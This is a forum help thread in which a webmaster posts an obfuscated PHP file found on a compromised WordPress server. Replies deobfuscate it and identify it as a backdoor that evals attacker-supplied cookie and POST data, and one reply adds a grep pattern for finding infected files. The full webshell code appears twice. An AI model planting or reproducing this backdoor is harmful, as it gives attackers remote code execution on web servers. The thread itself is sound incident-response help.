r/PHPhelp • • Apr 02 '18

What is this code doing?

My webserver was recently compromised. A bunch of php files I didn't upload were there in the root html directory of my site. I don't know how they got there, but I would guess it was through a security hole in an old version of wordpress, which I thought was secure. When I navigated to the file on my web browser, all it did was render a white page. There were about 15 of these files, dating back almost a year, up until last month. the $string in each file was a different random selection of letters. Anyway, I was hoping someone could take a look and see if they could tell what this code is supposed to do.

<?php $wysyj = 'Hypt4i6_k9obsce571vn\'mldf*xgr8-0#ua';$fcmqf = Array();$fcmqf[] = $wysyj[0].$wysyj[25];$fcmqf[] = $wysyj[32];$fcmqf[] = $wysyj[9].$wysyj[15].$wysyj[6].$wysyj[23].$wysyj[9].$wysyj[13].$wysyj[23].$wysyj[14].$wysyj[30].$wysyj[17].$wysyj[16].$wysyj[4].$wysyj[29].$wysyj[30].$wysyj[4].$wysyj[29].$wysyj[29].$wysyj[9].$wysyj[30].$wysyj[9].$wysyj[6].$wysyj[16].$wysyj[16].$wysyj[30].$wysyj[6].$wysyj[11].$wysyj[4].$wysyj[16].$wysyj[4].$wysyj[34].$wysyj[6].$wysyj[31].$wysyj[24].$wysyj[11].$wysyj[9].$wysyj[29];$fcmqf[] = $wysyj[13].$wysyj[10].$wysyj[33].$wysyj[19].$wysyj[3];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[7].$wysyj[28].$wysyj[14].$wysyj[2].$wysyj[14].$wysyj[34].$wysyj[3];$fcmqf[] = $wysyj[14].$wysyj[26].$wysyj[2].$wysyj[22].$wysyj[10].$wysyj[23].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[33].$wysyj[11].$wysyj[12].$wysyj[3].$wysyj[28];$fcmqf[] = $wysyj[34].$wysyj[28].$wysyj[28].$wysyj[34].$wysyj[1].$wysyj[7].$wysyj[21].$wysyj[14].$wysyj[28].$wysyj[27].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[22].$wysyj[14].$wysyj[19];$fcmqf[] = $wysyj[2].$wysyj[34].$wysyj[13].$wysyj[8];foreach ($fcmqf[7]($_COOKIE, $_POST) as $icekva => $vjbst){function djlqgq($fcmqf, $icekva, $mcjeqs){return $fcmqf[6]($fcmqf[4]($icekva . $fcmqf[2], ($mcjeqs / $fcmqf[8]($icekva)) + 1), 0, $mcjeqs);}function uknnjt($fcmqf, $wwuexkk){return @$fcmqf[9]($fcmqf[0], $wwuexkk);}function btxffrz($fcmqf, $wwuexkk){$tcguv = $fcmqf[3]($wwuexkk) % 3;if (!$tcguv) {eval($wwuexkk[1]($wwuexkk[2]));exit();}}$vjbst = uknnjt($fcmqf, $vjbst);btxffrz($fcmqf, $fcmqf[5]($fcmqf[1], $vjbst ^ djlqgq($fcmqf, $icekva, $fcmqf[8]($vjbst))));}

9 Upvotes

11 comments sorted by

View all comments

3

u/[deleted] Apr 02 '18 edited Apr 02 '18

TL;DR:

This code just lets an attacker use your web server as a puppet. Remove the files and patch Wordpress and all plugins right away. Also, make sure there are no more hidden secrets on the host machine (if you can).

Ran it through a formatter and got this:

<?php
$wysyj   = 'Hypt4i6_k9obsce571vn\'mldf*xgr8-0#ua';
$fcmqf   = Array();
$fcmqf[] = $wysyj[0] . $wysyj[25];
$fcmqf[] = $wysyj[32];
$fcmqf[] = $wysyj[9] . $wysyj[15] . $wysyj[6] . $wysyj[23] . $wysyj[9] . $wysyj[13] . $wysyj[23] . $wysyj[14] . $wysyj[30] . $wysyj[17] . $wysyj[16] . $wysyj[4] . $wysyj[29] . $wysyj[30] . $wysyj[4] . $wysyj[29] . $wysyj[29] . $wysyj[9] . $wysyj[30] . $wysyj[9] . $wysyj[6] . $wysyj[16] . $wysyj[16] . $wysyj[30] . $wysyj[6] . $wysyj[11] . $wysyj[4] . $wysyj[16] . $wysyj[4] . $wysyj[34] . $wysyj[6] . $wysyj[31] . $wysyj[24] . $wysyj[11] . $wysyj[9] . $wysyj[29];
$fcmqf[] = $wysyj[13] . $wysyj[10] . $wysyj[33] . $wysyj[19] . $wysyj[3];
$fcmqf[] = $wysyj[12] . $wysyj[3] . $wysyj[28] . $wysyj[7] . $wysyj[28] . $wysyj[14] . $wysyj[2] . $wysyj[14] . $wysyj[34] . $wysyj[3];
$fcmqf[] = $wysyj[14] . $wysyj[26] . $wysyj[2] . $wysyj[22] . $wysyj[10] . $wysyj[23] . $wysyj[14];
$fcmqf[] = $wysyj[12] . $wysyj[33] . $wysyj[11] . $wysyj[12] . $wysyj[3] . $wysyj[28];
$fcmqf[] = $wysyj[34] . $wysyj[28] . $wysyj[28] . $wysyj[34] . $wysyj[1] . $wysyj[7] . $wysyj[21] . $wysyj[14] . $wysyj[28] . $wysyj[27] . $wysyj[14];
$fcmqf[] = $wysyj[12] . $wysyj[3] . $wysyj[28] . $wysyj[22] . $wysyj[14] . $wysyj[19];
$fcmqf[] = $wysyj[2] . $wysyj[34] . $wysyj[13] . $wysyj[8];
foreach ($fcmqf[7]($_COOKIE, $_POST) as $icekva => $vjbst) {
    function djlqgq($fcmqf, $icekva, $mcjeqs)
    {
        return $fcmqf[6]($fcmqf[4]($icekva . $fcmqf[2], ($mcjeqs / $fcmqf[8]($icekva)) + 1), 0, $mcjeqs);
    }
    function uknnjt($fcmqf, $wwuexkk)
    {
        return @$fcmqf[9]($fcmqf[0], $wwuexkk);
    }
    function btxffrz($fcmqf, $wwuexkk)
    {
        $tcguv = $fcmqf[3]($wwuexkk) % 3;
        if (!$tcguv) {
            eval($wwuexkk[1]($wwuexkk[2]));
            exit();
        }
    }
    $vjbst = uknnjt($fcmqf, $vjbst);
    btxffrz($fcmqf, $fcmqf[5]($fcmqf[1], $vjbst ^ djlqgq($fcmqf, $icekva, $fcmqf[8]($vjbst))));
}

Maybe start with finding out what $fcmqf contains after all the transformations. I don't really have time to try to understand it, but maybe you could try to dig deeper. Looks like it's just a parser for some remote thing doing requests to the file. Which could do ANYTHING with your server depending on what user is accessible through the web server process.

However, you should delete those files (or make them unreachable from your web server) and update Wordpress and all plugins. Most plugins are written by complete amateurs and are prone to some form of attack.

Edit: Realized I could just find out some stuff pretty quick.

It seems to just let a remote caller do any request.

Here's what $fcmqf contains after transformations:

array(10) {
    [0]=>
    string(2) "H*"  // not sure
    [1]=>
    string(1) "#"  // not sure
    [2]=>
    string(36) "956d9cde-1748-4889-9677-6b474a60fb98"  // looks like a UUID
    [3]=>
    string(5) "count"  // php function
    [4]=>
    string(10) "str_repeat"  // php function
    [5]=>
    string(7) "explode"  // php function
    [6]=>
    string(6) "substr"  // php function
    [7]=>
    string(11) "array_merge"  // php function
    [8]=>
    string(6) "strlen"  // php function
    [9]=>
    string(4) "pack"  // php function
}

So you could find out what each reference to an element in $fcmqf does in the foreach block with a search/replace or something. However, it's pretty apparent that this is just the receiver, and the attacker can do whatever based on $_POST and $_COOKIE.

1

u/mattindustries Apr 02 '18

I would probably add that if you want to search your files, this will work in terminal

grep -r "(\$[a-zA-Z]*\[[0-9]*\] \. \$[a-zA-Z]*\[[0-9]*\] \. \$[a-zA-Z]*\[[0-9]*\])" public_html/*

It shouldn't return any results except for the infected files (or strangely written plugins).